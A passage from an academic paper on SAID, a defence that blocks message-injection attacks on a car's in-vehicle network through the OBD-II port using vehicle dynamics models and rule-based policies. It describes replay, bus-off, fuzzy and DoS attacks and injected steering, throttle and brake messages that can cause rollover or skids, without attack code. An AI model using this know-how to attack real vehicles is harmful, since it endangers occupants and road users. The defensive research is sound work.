sum of longitudinal slip ratio sx and lateral slip ratio sy, as
shown in Eq. 13.

s =
q

s2
x +s2

y (13)

sx denotes the ratio of the difference between the forward ve-
locity of the vehicle Vx and the tire revolution. It is computed
by Eq 14, where ww is the angular velocity of wheel and re f f
is the effective radius of the corresponding free-rolling tire.

sx =

8
>><

>>:

re f f ww �Vx

Vx
accelerating

re f f ww �Vx

re f f ww
breaking

(14)

The lateral slip ratio sy is defined by Eq. 15, where a is the
slip angle of the tire as shown in Fig. 4. For front tires, a f
is equal to the steering angle d minus the front tire velocity
angle qV f (i.e., Eq. 16). For the rear tires, ar is equal to the
negative of qV f (i.e., Eq. 17).

sy =
Vx

re f f ww
tana (15)

a f = d�qV f (16)

ar =�qV f (17)

qV f equals the arctangent of the sum of lateral vehicle speed
Vy and the lateral velocity because the yaw motion of the
vehicle ` f ẏ is divided by the longitudinal vehicle speed Vx.
ẏ is the rate of change of orientation of the vehicle, and it
approximately equals the z-axis angular velocity (i.e., ẏ⇡wz).
` f is the distances of front wheel axle to the cg. Consequently,
qV f can be approximated using small angle approximations
as following

qV f =
Vy + ` f ẏ

Vx
(18)

Since the change of Vx during accelerating/braking approx-
imates to the integral of longitudinal acceleration over time,
we can obtain Vx using Eq. 19-20, where P is the frequency of
reading data from onboard sensors, V̂x and V̂y are the x-axis
speed and y-axis at the beginning of accelerating or braking.

V̂x +
Z t

0
ax ·dt = V̂x +Âax ·

1
P

(19)
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Figure 5: The vehicle dynamics state estimation approach.

V̂y +
Z t

0
ay ·dt = V̂y +Âay ·

1
P

(20)

Consequently, we obtain s through Eq. 14-18 and the data
from IVN, onboard sensors, and the vehicle specifications.
Criterion: The tire force is proportional to the slip ratio when
the slip ratio is small and inverse proportional to the slip
ratio when the slip ratio increases [81]. Literature suggests
the maximum force of a tire happens when the s is between
0.1 to 0.2 [81, 91], and our simulations also show 0.2 gives
the best performance. Therefore, we set the threshold of the
tire slip ratio to 0.2, and any incoming message causing s to
exceed it will be rejected as an anomaly. Note that if s is 1,
it means the tire is completely held still and locked, in other
words, the tire loses traction.

4.4 Dynamic State Estimation

Both in-vehicle and onboard context information is re-
quired to estimate the dynamic vehicle states.
In-vehicle Information Collection: We collect the in-vehicle
information using the diagnostic services. Specifically, we
construct and send diagnostic requests to the IVN and parse
the replied diagnostic responses based on the DBC file, which
describes how to decode the fields in diagnostic messages.
Onboard Information Collection: Although, for some vehi-
cles, the gyroscope and accelerator information can be re-
trieved from the IVN, SAID reads such information from the
onboard sensors because of two major reasons. First, the vehi-
cle sensors can be compromised by the adversary potentially.
Second, if using in-vehicle data, an active non-default (i.e.,
extended Diagnostic Session [5]) diagnostic session needs
to be maintained for retrieving the gyroscope and accelerator
information all the time, which can impact the normal diag-
nostic sessions between the in-vehicle ECUs and the OBD
dongles. By contrast, the onboard sensors provide gyroscope
and accelerator information directly and timely. Moreover,
such onboard sensor data can be used to verify the data re-
trieved from the IVN for anomaly detection. For instance, if
malfunctions occur in the IVN sensors (e.g., lateral and verti-
cal acceleration from onboard sensors), we can identify such
errors based on the onboard sensor data.
Data Preprocessing: As onboard sensors may be affected by
some environmental factors, e.g., placement of sensors and
vibration, we preprocess the sensor data through the following
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Table 1: The summary of the context data and vehicle parameters
that are used in this paper.

Data source Symbol Semantics

In-vehicle

Vx/Vy the x/y-axis velocities of the vehicle (m/s)
a0x, a0y, a0z the x/y/z-axis vehicle accelerations (m/s2)⇤

w0
x, w0

y, w0
z the x/y/z-axis angular velocities (rad/s)⇤

dw the steering wheel (degree)
wrpm the engine speed (RPM)

u the gear position of the vehicle engine

Onboard ax, ay, az the x/y/z-axis vehicle accelerations (m/s2)
wx, wy, wz the x/y/z-axis angular velocities (rad/s)

Vehicle
Specification

` f , `r the distances of front/real wheel axle to the cg
L, `w the wheelbase and wheel track of vehicle (m)

m the weight of vehicle (kg)
l the steering wheel ratio

⇤ Not all vehicles provide these in-vehicle sensor data.

steps to make SAID resilient to such environmental factors.
S-∂ Coordinate Calibration: We transform coordinate cal-
ibration into a linear optimization problem and derive the
optimal rotation matrix to align the coordinate of the onboard
sensors with vehicle coordinate. We build the accurate coor-
dinate calibration using the algorithm described in [86].
S-∑ Data Denoising: We employ Kalman Filter [25, 95] to
filter out the noise of the sensor readings, which are incurred
by device vibration and sensor sensitivity.
S-∏ Bias Elimination: We centralize the onboard sensor read-
ings by subtracting their average value when the vehicle stops.
In this way, we eliminate the deviations.

We do not use the state estimation based on computer vi-
sion because they require powerful computation resources
and their accuracy depends on visibility [27]. For example,
they may be affected by environment, such as weather and
light. Since the GNSS (Global Navigation Satellite System)
information is neither always available nor timely [68], espe-
cially when the vehicle runs in the urban area, we read the
speed information from IVN instead of the onboard sensors.
In addition, the onboard sensor data can also help to verify
the corresponding data retrieved from the IVN.
Vehicle Motion Estimation: As shown in Fig. 5, we obtain
the required information from three sources, including in-
vehicle network, onboard sensors, and specifications, which
are summarized in Table 1. Furthermore, we apply the dynam-
ics models RD (§4.1), SD (§4.2), and BD (§4.3) to estimate the
dynamic vehicle states, including roll states, yaw (steering)
states, and tire slip states. Afterward, SAID checks whether
the incoming message will cause abnormal dynamic states
based on the estimated dynamic states, and the estimation
details are presented in §5.3.

5 Injection Attack Defense

Injection attacks against the vehicle can be launched at all lay-
ers. For example, the adversary can inject high-priority CAN
frames to launch DoS attacks at network layer or diagnostic
requests with various parameters to conduct the fuzzy attack
at the service layer [45, 54]. Therefore, to prevent injection

attacks, SAID analyzes the incoming traffic at multiple layers,
including network layer, service layer, and state layer.

5.1 Network Layer Defense

For many vehicles, such as Ford Escape [64] and Jeep
Cherokee [66], the CAN frames can be directly injected into
IVN through OBD-II port [45, 54], and thus the adversary can
launch injection attacks on the IVN by sending CAN frames
directly. To defend against the network layer injection attacks,
SAID detects the injected abnormal CAN frames according to
two major types of policies, which are related to the formats
of CAN frames and the patterns of attack traffic, respectively.
In particular, at this layer, we build 88 defense policies.

5.2 Service Layer Defense

At the service layer, we focus on detecting the diagnostic
messages that violate the specifications of the diagnostic ser-
vices, which specify both the diagnostic messages and the
diagnostic sessions. Currently, SAID supports three types of
diagnostic services (i.e., OBD, UDS, and KWP2000).

The diagnostic session is the basis of the communication
between OBD-II port and in-vehicle ECUs, and the target ECU
is in a specific diagnostic status during diagnosing. Given a
diagnostic message, SAID first checks its format according
to the defense policies derived from the specifications [2, 4,
5, 7]. If the diagnostic message’s format contains errors, it
is abnormal and dropped by SAID. This layer contains 504
default defense policies and also supports customized settings.

5.3 State Layer Defense

Since MIAs can be launched to cause abnormal driving
states, SAID needs to determine the purposes (i.e., functional-
ities) of the diagnostic requests to prevent them from causing
abnormal driving states. Currently, SAID prevents abnormal
vehicle motions and states by leveraging the vehicle dynamics
models (i.e., dynamics-based defense) and the rules extracted
from safe/eco driving requirements and auto insurance poli-
cies (i.e., rule-based defense).
Dynamics-based Defense: Based on the dynamics models
presented in §4, we propose 18 defense policies to prevent
the MIAs that aim at causing abnormal vehicle motions. For
instance, with policy D18, SAID drops the message that in-
creases the steering wheel angle when the vehicle is in a risky
tire slip state that is determined using the BD model.
Rule-based Defense: We summarize 37 abnormal states ac-
cording to the safe driving rules [10, 16–18], the economic
driving suggestions [11–13], and the auto insurance pricing
policies [47, 55, 59, 83]. For instance, if an incoming message
will turn on the turn signal when the vehicle runs straight,
it is abnormal and dropped. We design 337 defense policies
to defend against the injection attacks that potentially cause
abnormal driving states.
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6 Evaluation

We implement a prototype of SAID on an iMx.6 board ex-
tended with sensors and two OBD-II ports, running an An-
droid operating system, and the backend services run on the
server, through which the users can update the defense rules.
For the evaluation, we also implement a customized OBD-II
dongle to collect CAN messages from real vehicles and in-
ject CAN messages. As shown in Fig. 6, besides simulating
various driving scenarios, we design experiments on the real
vehicles, robotic cars, and testbed to evaluate SAID.
Simulation: To evaluate our dynamics-based state estimation
and attack defense approaches, we use the professional ve-
hicle simulator CarSim [63] to simulate various abnormal
vehicle motions, including rollover, under/oversteer, and ac-
celerating/braking, which are caused by injecting the mes-
sages related to throttle, steering wheel, and brake pedal, due
to the ethics and safety considerations. We also evaluate the
impacts of the model configurations (i.e., thresholds) on the
performance of anomaly detection. More defense evaluations
are presented in Appendix-A.1.
Robotic Cars: We also use three robotic cars (i.e., NanoCar,
JetRacer Pro, and Scout Mini) to evaluate the performance
of dynamics-based defense. It is worth noting that the scaled-
down robotic cars have various differences from the real pas-
senger vehicles, for example, these robotic cars have no brake,
as well as smaller sizes and motion ranges. Consequently,
they are more prone to environmental disturbance than a real
passenger car. During the evaluation, we add extra loads to
the robotic cars to make them more like real cars.
Real Vehicles: We conduct evaluations on seven real vehi-
cles in total. First, we collect over 600 km real road IVN
and diagnostic traffic from two real cars, a Skoda Octavia
and a Volkswagen Lavida, driven by three drivers with video
recording. The real-vehicle traffic is replayed on the testbed
for evaluations in §6.2.2 and §6.3. We also evaluate SAID by
launching functional service layer attacks on five additional
cars, including Audi A4, BMW 523LI, Toyota Corolla HV,
Nissan Teana, and Volkswagen Passat, and more details are
presented in §6.2.2.
Testbed: We design and implement a vehicle testbed, named
VCar, for evaluating SAID. It can replay the real-vehicle traffic
and meanwhile play the recorded video in real-time. The
topology of our testbed is shown in Fig. 6, where the vehicle
is emulated by VCar and the PoC (proof-of-concept) attacks

are launched by another laptop (i.e., Adversary). In other
words, we mimic the adversary to launch attacks against the
vehicle by injecting special data.

We evaluate SAID by answering four research questions.
• RQ1: Can SAID correctly estimate vehicle states before

anomalies occur based on the vehicle dynamics models?
• RQ2: Can SAID effectively detect and prevent the state

attacks (MIA-∂) by dropping attack messages?
• RQ3: Can SAID effectively detect and prevent the func-

tional attacks (MIA-∑) by filtering out the attack data?
• RQ4: How is the additional data transmission latency intro-

duced by SAID?

6.1 Abnormal Dynamic State Detection

We evaluate whether SAID can correctly estimate the dy-
namic vehicle states before the anomalies (i.e., rollover and
severe side slip) occur by simulating three major types of ve-
hicle motions, including cornering, accelerating, and braking,
using CarSim.
6.1.1 Roll-based Anomaly Detection: To evaluate whether
SAID can correctly estimate the abnormal roll states, as shown
in Fig. 7, we simulate various rollover motions, which are
caused by different reasons, including steering angle, throttle
inputs (acceleration), and brake pedal inputs (deceleration).

In Fig. 7(a), the rollover accident is due to the abnormal
steering angle inputs. At the beginning, the vehicle is run-
ning at a stable speed of 80 km/h. From 3s, the diagnostic
messages are injected to increase the steering wheel angle
(left rotation is positive). Then the diagnostic messages are
injected to decrease the steering wheel angle suddenly. As a
result, the actual LT R exceeds LT Rro from around 4.5s and
further increases to around 1 at 7s. Note that LT R = 1 means
the weight of the vehicle is fully transferred to the tires of one
side and rollover may happen. In Fig. 7(b), from 3 s, the spe-
cific diagnostic messages (i.e., attack messages) are injected
to increase the throttle from 0 to 1 and so that the vehicle
speed is accelerated continuously, and then LT R exceeds 1 at
around 18s. In Fig. 7(c) and Fig. 7(d), the specific diagnostic
messages (i.e., attack messages) are injected to increase and
decrease the brake pressure (pedal position) from 3s, and thus
the vehicle speed increases and decreases correspondingly.
Then LT R exceeds 1 at 4.5s in Fig. 7(c) and 3.5s in Fig. 7(d)
due to the injected brake pressure in/decrease messages.

In addition, from Fig. 7, we can see that all abnormal vehi-
cle states are correctly and timely detected by SAID before
the rollovers occur using the RD model in §4.1.

We further evaluate the RD model with various threshold
settings. As shown in Fig. 7(e), four rollover scenarios are sim-
ulated by continually accelerating the vehicles at full throttle
under the constant steering angles of 0.83�, 1.67�, 3.33� and
5�, respectively. Meanwhile, the LT R increases as the vehicle
speed grows until rollover occurs. The experimental results
show that LT R rises rapidly after 0.2 and starts oscillating
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(d) Brake (Decrease)
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(e) Threshold Sensitivity
Figure 7: The perception of rollover due to the injected messages of changing steering angle, throttle, and brake, as well as the simulated four
rollover scenarios. The red circles (i.e., LT R = 1) in the left four figures indicate the tires of one slide are off the ground. In initial state: (a)
dw = 0�, in (b-d) dw = 55�. The black boxes (right figure) indicate the periods of unstable vehicle states.
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(c) Throttle

Figure 8: The perception of under/oversteer due to the injected
messages that change steering angle, throttle, and brake. In the initial
state, the dw are (a) (b) and (c) are 8�, 95� and 20�, the vehicle speed
of (a) (b) and (c) are 60, 80 and 80 km/h, and road friction coefficient
is 0.5. The red boxes indicate severe abnormal under/oversteer.

after 0.6, indicating that the vehicle is in an unstable state
(annotated by the black boxes), and then rollover occurs after
5.0s, 1.7s, 0.8s, and 0.7s in these four scenarios, respectively.
Hence, we set the default threshold of LT R to 0.6 consider-
ing both the unnecessary warnings and reaction time. SAID
also allows users to set customized thresholds for their own
vehicles. This default threshold (i.e., 0.6) is also used by the
existing vehicle safety studies [36, 56].
6.1.2 Steering-based Anomaly Detection: In this experi-
ment, we evaluate if SAID can detect abnormal steering mo-
tions before severe anomalies occur (e.g., under/oversteer).
As shown in Fig. 8(a), there are diagnostic messages injected
to change d to 0.13 rad (dw = 150�) from 3s. Thus, it will
let the vehicle enter a severe under/oversteer state, if we con-
sider the states that the ratio of the actual steering angle d and
the neutral steering angel dneutral is greater than a threshold
(i.e., d/dneutral > 1.2) as anomalies. Similarly, if we inject
messages to change the brake pressure and throttle position,
the vehicle also enters severe abnormal steering states, which
are shown in Fig. 8(b) and Fig. 8(c), respectively. From state
estimation results shown in Fig. 8, we can see that SAID
can detect the abnormal under/oversteer states before severe
anomalies occur by leveraging the SD model in §4.2.

To evaluate the impacts of various thresholds on the detec-
tion of abnormal steering states, we simulate the over/under-
steering motions under different settings (i.e., steering angle
and speed). More precisely, in this test, we evaluate the actual
values of the turn radius (r) and d/dneutral when the vehi-
cle moves under constant steering angles and speeds. Note
that the theoretical turn radius for setting steering angles,
d = 1.67�, 5�, and 7�, are 100 m, 33.3 m, and 23.8 m, respec-
tively, and the actual results are shown in Table 2. Note that,

Table 2: The actual turn radius of a vehicle when it turns under
various constant steering angle r and speed settings. Turning radius
r of various threshold setting for the yaw model, d = 1.67�, 5�, and
7�, the theoretical turn radius are 100.0 m, 33.3 m, and 23.8 m,
respectively. ‘Na’ indicates the vehicle is already in an unstable state
and cannot turn in a constant radius.

Steering angle Speed (km/h) 10.0 20.0 30.0 40.0 50.0 70.0 100.0 �110.0

1.67� r (m) 103.3 105.5 110.4 118.3 127.3 146.5 164.6 Na
d/dneutral 1.0 1.1 1.1 1.2 1.3 1.5 1.6 Na

5� r (m) 34.4 35.4 37.0 38.8 39.5 Na Na Na
d/dneutral 1.0 1.1 1.1 1.2 1.2 Na Na Na

7� r (m) 24.6 25.4 26.3 26.9 Na Na Na Na
d/dneutral 1.0 1.1 1.1 1.2 Na Na Na Na

at low vehicle speed and a small steering angle, e.g., below
10km/h and 1.67�, the vehicle has a small slide slip, close to
neutral steering, and hence d/dneutral is close to 1. Conversely,
if d/dneutral is greater than a threshold, side slip happens. The
simulation results shown in Table 2 indicate that the vehicle
enters into an unstable state easily when d/dneutral is greater
than 1.2, and thus we set the threshold of d/dneutral to 1.2
for the SD model by default. Due to the vehicle diversity and
customized requirements, such as different types of vehicles
or different operation conditions, the users can set a proper
threshold when deploying SAID.
6.1.3 Accelerating/braking-based Anomaly Detection:

We first demonstrate the impacts of threshold settings on
abnormal detection performance. Since abnormal accelerat-
ing/braking motions can cause severe anomalies, we evaluate
whether SAID can detect them by leveraging the BD models
(cf. §4.3). Particularly, we simulate the side tire slips due to
various injected messages related to throttle, brake pedal, and
steering wheel angle.

We demonstrate the impacts of threshold settings of BD on
the defense performances with various brake distance tests.
The brake distance test is a simple but representative test to
evaluate braking stability. In this experiment, we simulated
the brake distances required under different road friction co-
efficients µ and slip ratio s threshold settings (i.e., 0.05, 0.1,
0.2, 0.3, 0.5, 0.7, and 1.0) when the abnormal messages are
injected to maximum brake force. The results are summarized
in Table 3. Note that, when the slip ratio is 1.0, the tire is
locked. From the simulation results, we can find, for every µ
setting, the required brake distance first decreases with the s
threshold setting and then increases with it. The results also
demonstrate that the shortest brake distance is required when
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Table 3: The brake distances (m) of various parameters settings
(i.e., the road friction coefficients µ and the thresholds of s) for the
accelerating/braking model.

Deceleration
(km/h) µ Thresholds

s = 0.05 s = 0.1 s = 0.2 s = 0.3 s = 0.5 s = 0.7 Brake lock

100 - 0
0.9 99.3 76.6 40.4 42.3 46.8 48.1 52.8
0.6 110.2 89.5 61.8 70.2 72.2 73.9 77.8
0.3 156.3 142.7 141.8 146.8 150.0 151.0 151.8

80 - 0
0.9 62.7 52.2 26.1 27.1 30.0 30.8 32.8
0.6 68.2 59.6 40.5 45.1 46.5 47.6 49.1
0.3 99.0 93.9 92.2 94.9 97.0 97.6 97.6

60 - 0
0.9 35.1 32.3 15.2 15.3 16.8 17.3 19.4
0.6 38.2 36.3 22.6 25.4 26.2 26.8 28.6
0.3 54.9 54.1 52.0 53.8 55.0 55.3 55.8

40 - 0
0.9 16.0 16.0 7.1 7.0 7.4 7.7 8.8
0.6 17.0 17.0 10.4 11.3 11.7 12.0 12.9
0.3 24.7 24.8 23.4 24.2 24.6 24.8 25

20 - 0
0.9 4.1 4.2 2.2 2.0 1.9 1.9 2.3
0.6 4.4 4.4 2.9 2.9 2.9 3.0 3.4
0.3 6.6 6.5 6.0 6.1 6.2 6.2 6.4
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Figure 9: The perception of side tire slip due to the injected mes-
sages that change steering angle, throttle, and brake (the initial vehi-
cle speed for (a) (b) and (c) are 160, 80 and 80 km/h). The red boxes
indicate severe abnormal side tire slip motions.

the s threshold is set to around 0.2, which corresponds to the
general cases that the maximum friction generated when the
slip ratio is between 0.1 and 0.2 [35, 37, 49]. Consequently,
we also set the threshold of the slip ratio s to 0.2 by default.

Fig. 9 shows the changes of the slip ratio s when MIAs are
launched through injecting messages to change the steering
angle, brake pressure, and throttle position, respectively. The
red boxes indicate severe abnormal slide tire slips occur. As
shown in Fig. 9(b), when the tire is held still and locked
completely, s equals 1, obviously exceeding the threshold.
Hence, based on the BD model in §4.3, SAID can correctly
and timely capture the abnormal tire slip states when such
MIAs are launched, indicating SAID can effectively detect the
MIAs launched to cause abnormal dynamic states based on
the dynamics-based models.

Answer to RQ1: By leveraging the vehicle dynamics mod-
els, SAID can correctly and timely identify the abnormal
vehicle states, including roll, yaw, and accelerating/braking,
before severe anomalies (i.e., rollover, abnormal steering
angle, and side tire slip).

6.2 State Attack Defense

In this section, we use simulations, testbed, robotic cars,
and real vehicles to evaluate whether SAID can identify the
state layer injection attacks based on both the dynamics-based
and rule-based policies presented in §5.3.

Table 4: Result of estimating rollover likelihood of NanoCar using
LT R and defense against MIAs launched by increasing Vx.

Vx 0.2 m/s 0.4 m/s 0.6 m/s 0.8 m/s 1 m/s

d
Defense No Yes No Yes No Yes No Yes No Yes

5.7� 0.02 0.02 0.04 0.04 0.17 0.17 0.30 0.30 0.48 0.48
11.5� 0.04 0.04 0.15 0.15 0.35 0.35 0.64 0.60 1.01 0.61
17� 0.06 0.06 0.23 0.22 0.52 0.51 0.96 0.60 1.31 0.59

Table 5: Result of estimating rollover likelihood of NanoCar using
LT R and defense against MIAs launched by increasing d.

d 5.7� 8.6� 11.5� 14.3� 17�

Vx

Defense No Yes No Yes No Yes No Yes No Yes

0.2 m/s 0.02 0.02 0.03 0.03 0.04 0.04 0.05 0.05 0.06 0.06
0.6 m/s 0.17 0.17 0.26 0.26 0.35 0.35 0.43 0.43 0.52 0.52
1 m/s 0.48 0.49 0.76 0.64 0.97 0.61 1.11 0.60 1.21 0.62

6.2.1 Dynamics-based Defense: We evaluate the dynamics-
based defense through both simulations and robotic cars.
Simulation: When the dynamics-based defense is enabled,
the simulation results of the rollover, under/oversteer, and
slide tire slip show all the abnormal dynamic states detected
in §6.1 are prevented.
Robotic Cars: We also applied the dynamics-based defense
to various robotic cars for evaluation.

To evaluate the RD-based defense, we conduct experiments
by injecting specific messages (i.e., control commands) into
the three robotic cars to continuously increase the steering
angle or the speed, which will lead to a high risk of rollover.
Table 4 and 5 show the defense results when continuous
messages/commands are injected into NanoCar to increase its
speed Vx and steering angle d, and the results include both the
LT Rs measured when defense function is disabled (i.e., “No”)
and enabled (“Yes”). For example, if an adversary launches
a rollover attack by injecting messages to increase the car’s
speed to 1 m/s when the robotic car runs at the constant
steering angle 17�, the RD-based defense can effectively detect
such an attack when LT R researches the threshold (i.e., 0.6)
and prevent the rollover accidents by discarding the injected
commands and preventing LT R from exceeding the threshold,
i.e., LT R equals 0.59.

The experiments on JetRacer and Scout Mini achieve simi-
lar results, and we just present the detailed evaluation results
of NanoCar due to the page limitation. Consequently, the
evaluation results of robotic cars show our RD-based defense
can effectively and timely identify the injected abnormal mes-
sages and further discard them to keep the vehicle safe.

We also evaluate the SD-based defense by injecting mes-
sages into the robotic cars to continuously increase the steer-
ing angles or speed, which can cause abnormal under/over-
steering dynamics during cornering. When SD-based defense
is enabled, SAID defends against such attacks according to
d/dneutral , of which the larger values indicate the higher risks
of slide slip. Table 6 and 7 show the results of defending
against the attacks on NanoCar, which are launched by in-
jecting messages to increase the speed Vx and the steering
angler d, respectively. From the results, we can find if the de-
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Table 6: Result of estimating yaw stability of NanoCar using
d/dneutral against the MIAs launched by increasing Vx.

Vx 0.2 m/s 0.4 m/s 0.6 m/s 0.8 m/s 1 m/s

d
Defense No Yes No Yes No Yes No Yes No Yes

5.7� 0.99 1.02 1.01 1.00 0.99 1.00 0.99 0.98 0.98 0.99
11.5� 1.00 1.00 1.00 1.00 1.01 1.00 1.03 1.02 1.08 1.08
17� 1.04 1.05 1.05 1.05 1.04 1.04 1.07 1.07 1.30 1.20

Table 7: Result of estimating yaw stability of NanoCar using
d/dneutral against the MIAs launched by increasing d.

d 5.7� 8.6� 11.5� 14.3� 17�

Vx (m/s)
Defense No Yes No Yes No Yes No Yes No Yes

0.2 m/s 1.00 1.00 1.00 0.99 1.00 1.00 0.99 0.98 1.02 1.03
0.6 m/s 0.99 0.99 0.99 1.00 0.99 1.00 1.03 1.03 1.03 1.03
1 m/s 0.98 0.98 1.00 0.99 1.08 1.08 1.20 1.19 1.29 1.19

fense function is enabled (i.e., “Yes”), all abnormal dynamic
states are prevented, i.e., no d/dneutral exceeds 1.2, which is
threshold specified in this experiment, indicating the SD-based
defense can effectively prevent side slip attacks. For example,
when the adversary continuously increases the speed under
a steering angle of 17�, NanoCar enters into a severe slide
slip dynamics (d/dneutral = 1.30) if SD-based defense is dis-
abled, otherwise it is still in a safe state, namely d/dneutral is
still around 1.20.
6.2.2 Rule-based Abnormal State Defense: In this experi-
ment, we evaluate SAID in both testbed and real vehicles. For
the evaluations in the testbed, we launch MIAs by injecting
attack messages to trigger abnormal states and meanwhile re-
playing the real road data. For the evaluations in real vehicles,
we inject various diagnostic messages to trigger abnormal
behaviors/functionalities.
Testbed: We instruct the “adversary” (Fig. 6) to dynamically
send diagnostic requests to change the driving states when
replaying the captured in-vehicle and onboard context data.
The replayed data include 33,293 diagnostic messages and
30,654 tuples of sensor data. Meanwhile, 3,329 diagnostic
requests are issued to change the driving states (e.g., open and
close windows) or ECU statuses (e.g., update firmware, write
data, and clear fault code). For instance, we send diagnostic
requests to turn off the turn signal during cornering and mod-
ify the ECU configurations during running. Thus abnormal
vehicle states are caused.

We also adopt various strategies to modify the parame-
ters of normal diagnostic requests to cause abnormal vehicle
states, including bit transform, value amplification, etc. For
instance, the vehicle speed of real road data is below 70 km/h,
which is always normal, but it exceeds 120 km/h after amplifi-
cation and thus will violate specific speed related rules during
replay. The experimental results show that all diagnostic re-
quests, which can cause abnormal driving states, are dropped
by SAID, and 87 state layer defense policies are hit (118 in
total). All dropped messages are manually verified based on
the recorded traffic.
Real Vehicles: We also deploy SAID on the seven rental cars

Table 8: The FN and FP of the dynamics-based defenses.

Dynamics

Model

LTR Understeer/oversteer Slip

Threshold FN FP Threshold FN FP Threshold FN FP

Rate under
specific

threshold

0.4 1.7% 0 1 0.17% 0 0.1 2.3% 0
0.5 2.1% 0 1.1 1.1% 0 0.2 4.5 0
0.6 4.6% 0 1.2 3.4% 0 0.3 7.1% 0
0.7 10.4% 0 1.3 64.7% 0 0.4 13.8% 0

and use an OBD-II dongle to inject attack messages. Due to
the safety consideration, all the target functionalities are not
safety-sensitive, including door, window, light, mirror, wipers,
and speaker related operations, and the cars keep static with
handbrake during message injection. The results show that all
the injected messages are identified by SAID timely, and, if
we assume the car runs on a special road, SAID also discards
all the injected messages that can cause abnormal states. For
instance, if we assume the cars run on a highway, i.e., speed
is 80 km/h, all the messages, injected to open windows and
doors, are discarded. Therefore, the results indicate that SAID
can be deployed to real vehicles to defend against the MIAs
and prevent abnormal vehicle states.
6.2.3 Detection Rate: We evaluate the detection rate, in-
cluding FN (False Negative) and FP (False Positives), of the
dynamics-based defenses with various threshold configura-
tions. From the results shown in Table 8 (the default thresh-
olds are underlined), we can see that, for all models, the FN
rises as the threshold increases, and meanwhile, the FNs under
default thresholds (i.e., the underlined values) are all below
5%. Meanwhile, SAID has no FP because no injected normal
control message causes the vehicle dynamic to exceed the
thresholds. Note that the FN also depends on the message
injection patterns, more messages injected before the vehicle
dynamics exceeds the threshold will result in a higher FN
rate. We also evaluate FP using the messages collected from
the real vehicles, containing no abnormal messages, and the
result shows SAID detects no FP.

Answer to RQ2: Based on our state estimation approaches
and defense policies, SAID can effectively defend against
the MIAs that can cause abnormal vehicle states.

6.3 Functional Attack Defense

We evaluate the defense capacity of SAID at network and
service layers by injecting abnormal CAN frames and diag-
nostic messages, respectively, when replaying real road data.
6.3.1 Network Layer Defense: Since the OBD-II port con-
nects to IVN directly or through the gateway, the adversary can
attack IVN by injecting well-prepared CAN frames through
the OBD-II port. In this experiment, we instruct the OBD-II
dongle to launch four types of attacks against the emulated
car (VCar in Fig. 6), including replay attack, bus-off attack,
fuzzy attack, and DoS attack, and evaluate whether SAID can
identify such attack frames correctly and efficiently. Mean-
while, we instruct VCar to record all frames received from
the internal OBD-II port and then check whether the attack
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Figure 10: Distribution and detection rate of the launched
diagnostic traffic (i.e., diagnostic messages).

frames are discarded by comparing the frames recorded with
and without SAID deployed.

The experiment results show that all attack frames are fil-
tered out by SAID at the network layer. More precisely, the
frames injected for replay and bus-off attacks are dropped ac-
cording to the CAN ID rules, because the CAN IDs belonging
to [0x0,700) are only used by in-vehicle ECUs [3, 39, 90].
Thus, if the frames injected through the OBD-II port con-
tain such CAN IDs, they are abnormal and dropped by SAID.
During the fuzzy attack, 86.30% injected CAN frames are
discarded according to the CAN IDs, and 11.87% injected
frames are dropped due to the unmatched diagnostic sessions.
Moreover, 1.83% of malicious CAN frames are filtered out
due to the high transmission frequency. During the DoS at-
tack, 87.16% and 12.84% of the injected frames are dropped
according to their CAN IDs and frequency, respectively.
6.3.2 Service Layer Defense: To evaluate whether SAID
can effectively identify the injected abnormal diagnostic mes-
sages according to the defense policies, we randomly inject
diagnostic messages and change the contents of the replayed
diagnostic messages on the testbed (i.e., Fig. 6). Meanwhile,
we record the diagnostic messages on both VCar and Adver-
sary sides. Then, we evaluate the defense performance of
SAID by comparing the traffic recorded on both sides.

In this experiment, around one million diagnostic messages
are sent to VCar with SAID, including 188,203 (18.82%) ab-
normal messages and 811,801 (81.18%) normal messages.
The message distribution is shown on the left-hand side of
Fig. 10, and the right-hand side of Fig. 10 shows the detec-
tion rates of the abnormal diagnostic messages. The exper-
iment results show that apart from the fuzzy attack traffic,
of which 99.1% are detected, all other types of attack traffic
are detected. The fuzzy attacks trigger a larger number of
negative diagnostic responses, and thus SAID detects such at-
tacks according to the frequency of negative responses, which
is under the specified threshold at the beginning of fuzzy
attacks. Therefore, SAID does not identify the injected mali-
cious messages at the beginning of fuzzy attacks, leading the
false positives (0.9%). Such missed frames do not endanger
the vehicle and will be discarded in IVN because only a few
frames are injected and also cannot be processed by IVN.

We also compare SAID with the existing vehicle IDSs and
the results are presented in Appendix-A.2.
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Figure 11: The overhead of SAID.

Answer to RQ3: The experimental results show that SAID
can efficiently identify the abnormal driving states and pre-
vent the MIAs from affecting the vehicles, thus outperform-
ing existing IDSs.

6.4 Overhead

SAID inspects CAN frames and diagnostic messages at
three layers, and meanwhile, additional latency will be in-
curred to both the CAN frames and diagnostic messages. To
measure the incurred latency, we run SAID with CAN frame
related rules, diagnostic message related rules, and overall
rules enabled, respectively. Meanwhile, we measure the gaps
between the timestamps when the frames and messages are
captured at the external OBD-II port of SAID and the internal
OBD-II port as the incurred latency.

Taking the latency incurred by SAID without any defense
policy as the baseline, and then the other latency incurred with
different configurations is shown in Fig. 11. Compared with
the baseline, SAID incurs around 10 us to the CAN frames
and negligible latency to the diagnostic messages. Note that
the diagnostic messages can be divided into single frames and
multiple frames. Because the latency of the messages based
on a single frame is the same as that of the common CAN
frames, we just show the latency of the messages depending
on multiple CAN frames in this experiment.

Answer to RQ4: SAID just incurs around 10 us and negli-
gible additional latency to the network and diagnostic data
transmission respectively and is acceptable because the
max bit speed of CAN is up to 1 Mbit/s [40].

7 Discussion and Future Work

In this paper, we propose SAID to defend against the MIAs
launched from out-vehicle entities. That is, when an abnor-
mal dynamic state is identified, SAID can either filter out the
causing incoming messages or just warn the driver according
to the causes of such a state. Particularly, if an incoming mes-
sage from out-vehicle entities (e.g., OBD-II dongle) will let
the vehicle enter abnormal maneuvers/states, SAID will reject
it. However, it does not prevent any in-vehicle ECU/sensor
from transmitting data and just warns the driver of the identi-
fied anomalies. Consequently, if a suspicious/unusual state is
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controlled by the driver, SAID just informs the driver.
Moreover, if the messages are gradually injected to cause

anomalies not exceeding thresholds, the dynamics-based de-
fense does not stop them because no dynamics-based defense
is validated, but they can be detected by other defense policies
(e.g., network/rule-based defense). In this paper, we propose
to apply the dynamics-based defense to prevent injected mes-
sages from putting the vehicle in danger, and such defense can
be regarded as the last line to protect vehicles from physical
crashes when abnormal data is injected. In the future, we will
extend SAID to prevent the anomalies caused by in-vehicle
messages and provide defense suggestions.

Currently, we just leverage the explicit and common rela-
